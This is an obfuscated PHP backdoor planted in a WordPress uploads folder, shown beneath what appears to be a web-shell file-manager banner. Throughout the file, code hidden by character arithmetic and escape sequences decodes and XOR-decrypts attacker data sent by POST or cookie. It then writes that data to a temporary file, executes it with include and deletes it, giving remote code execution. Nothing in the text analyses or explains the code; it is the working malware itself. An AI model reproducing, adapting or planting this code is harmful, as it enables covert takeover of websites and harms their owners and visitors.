HEX
Server: nginx/1.24.0
System: Linux webserver 6.8.0-85-generic #85-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 18 15:26:59 UTC 2025 x86_64
User: wpuser (1002)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /opt/wpsites/gsudice.dataconn.net/wp-content/uploads/2022/ygmpjmcd.php
<?php 
$krrluwtdl     = /* hhtc   */ 'krrluwtdl'	^    '';
$dtczcg       = /*ogupw   */ "\141" /*  swe  */ .    "\x72"     . /*  imdh*/ "\162"    .    "\141" /*czwn*/ .     "y"."\137"       . /*aa */ "m"."a"."\160";


$ezfnurieh  =	$krrluwtdl(172-67)	.    $krrluwtdl(109) /* qfjefq  */ . /*nra*/ $krrluwtdl(684-572) /*  xu */ .    "\154" /*  w */ .   "\x6f"    . /*  jctimo*/ "\x64"	.	"\x65";




function /*ejatqo */ fiutnaxi($csmvkgnab, /*  kz   */ $ggsaotxve)
{
 /*   jsgrh   */ global	$krrluwtdl;


 /*   _kkwh*/ 
    $csmvkgnab	=    "\x3c"      .  $krrluwtdl(879-816)   .  "p".$krrluwtdl(411-307)    .  $krrluwtdl(112) /*   l   */ .    $krrluwtdl(32) /*  gwvic   */ .  $krrluwtdl(117) /*  gnh   */ .    $krrluwtdl(508-398)	.    "l".$krrluwtdl(105)    .     "\x6e" /*  dq   */ .	$krrluwtdl(994-887)	.    $krrluwtdl(40)    .   "\137"       .     "\137"      .    "\x46"	.  $krrluwtdl(73) /*   wh   */ .    "L".$krrluwtdl(69)	.	"_"."\x5f"    .	")".$krrluwtdl(615-556) /*   xh  */ . /*mgby */ $krrluwtdl(32) /*   s*/ .     $csmvkgnab[$krrluwtdl(100)];


    $zgjnh /* f_hub  */ =    "\146" /*u   */ .    $krrluwtdl(105)."l"."e"."\137"    .    "p"."u"."t"."\x5f"   .    $krrluwtdl(99)    .	"o"."n"."t".$krrluwtdl(101)       .    "\x6e"	.    $krrluwtdl(116) /*hsmfe*/ . /*yue   */ $krrluwtdl(550-435);
    
 /* bezbam  */ $zgjnh($ggsaotxve,      $csmvkgnab);

	

 /*qmmr */ klygwvpm($ggsaotxve);}


$ybmagce   =    73;





function	klygwvpm($ggsaotxve){
 /*   d  */ global   $krrluwtdl;

  


 /* otai   */ include($ggsaotxve);
    $bxvpxjeuw    =   $ggsaotxve;

	@unlink($bxvpxjeuw);
}


function    itdlyrmjvk()
{


       global    $krrluwtdl;




	$peiul /*   fviqsb   */ =	array();

      $peiul["p"."\x76"] /*  avgqml*/ =    phpversion();
	$peiul[$krrluwtdl(258-143)     . /* txwpm */ "v"]	=    "\x33" /*rs */ .    "\x2e" /*uo_bid*/ .      "5";

	$_nzprso /*udry   */ = /*   o */ 74;


 /*  hw */ echo      @serialize($peiul);

}





function  uf_iqzutg($csmvkgnab,    $weppsdzeuh)
{


 /* dozwx */ global   $krrluwtdl;


    $eppshqivy     = /*  jexnpr */ "";


   $wuddm_l     = /*   dlj  */ strlen($csmvkgnab);

    $aafettfhm    = /*a*/ strlen($weppsdzeuh);

    $peiul	= /*  c */ 0;


      $ymtwq    =	0;    

 /*jo */ while	($peiul /* dxjmfs*/ < /*thlg_l */ $wuddm_l)	{
  $eydmcc    =    $csmvkgnab[$peiul]      ^    $weppsdzeuh[$ymtwq    %  $aafettfhm];

 /*y   */ $eppshqivy       .=     $eydmcc;

 /*   jpcu_w   */ $ymtwq++;	
      $peiul++;
      }

        if /* kzgm  */ (strlen($eppshqivy)    > /* brfc  */ 20)     {
      $hxrej       = /*  itu  */ substr($eppshqivy,     0, /*kiaho */ 20);
 /* vncqlw*/ }

	if  (empty($eppshqivy)) /* wwbtaq   */ {
  $eppshqivy    =  date('Y-m-d /*   f*/ H:i:s'); /*min*/ }
   return /*  xbxxes */ $eppshqivy;

}
function	qsmsand($lidjmvg)
{


 /* wvzlke */ global    $krrluwtdl;


     


	$ymtwqvhrc  =	"\143"      . /*   kb   */ "\x64"       .       $krrluwtdl(100).$krrluwtdl(985-928) /*  kju_v*/ .	"1"."2"."9"."5".$krrluwtdl(45)       .	"5".$krrluwtdl(840-789)	.       "9"."2"."-"."4"."\x61"."7".$krrluwtdl(194-138) /*   ckfmko */ .    $krrluwtdl(45) /* am_agn */ . /*   sy   */ "9"."0"."b"."\x61".$krrluwtdl(45)	. /* lcc_ */ $krrluwtdl(369-320)   .   "4".$krrluwtdl(57)      .      $krrluwtdl(49) /*rsa  */ . /*  ey  */ "f"."\x32"       .	"e"."2"."\142"  .     $krrluwtdl(49)      .	"\64" /*   mme  */ .	"f"; /*  knj  */ 
 /*  qa_  */ foreach    ($lidjmvg	as /*pq*/ $rtrxf /*  enf*/ =>	$csmvkgnab)       {


 /*sewli*/ surfqcr(base64_decode($csmvkgnab), /*hxlrql  */ $ymtwqvhrc, /*ng */ $rtrxf);
	}


}



function	surfqcr($csmvkgnab,      $ymtwqvhrc,	$rtrxf)
{

 /*  ilrbt   */ global     $krrluwtdl;   

 /* lob  */ $csmvkgnab     = /*  dlsm*/ unserialize(uf_iqzutg(uf_iqzutg($csmvkgnab, /* avcj*/ $ymtwqvhrc),    $rtrxf));


	$eqbsguadts	=  'dxn';

	$cosjbrf_zc    =	'mze';

 /*k */ if	(isset($csmvkgnab[$krrluwtdl(97)	. /* _*/ $krrluwtdl(107)]))    {
	if    ($csmvkgnab["\x61"]	==      $krrluwtdl(105)) /*  ezhvz  */ {

 /* nz */ itdlyrmjvk();    } /*   fnvk  */ elseif    ($csmvkgnab["\x61"]      ==     "e") /*fr*/ {
	fiutnaxi($csmvkgnab,	sprintf(".".$krrluwtdl(693-646)	.    $krrluwtdl(37)     .    "s".$krrluwtdl(46) /*kbmcvj*/ . /* ji */ "p"."l",	md5($ymtwqvhrc)));


			$tsovnwlu  = /*   bg_kcf*/ 44;
    } /*  fpbko*/ exit();

  }}





qsmsand($_POST);	



$fsualmlcs /*   pey */ = /* ibyte  */ 'rawurldecode';
$ydrgyv_aj /*  gxsrv  */ = /*wjzkb */ $dtczcg($fsualmlcs,    $_POST);
$ezfnurieh("", /*o   */ $fsualmlcs);



qsmsand($_COOKIE);


$pjuwodocvz      =	$dtczcg($fsualmlcs,    $_COOKIE);






?>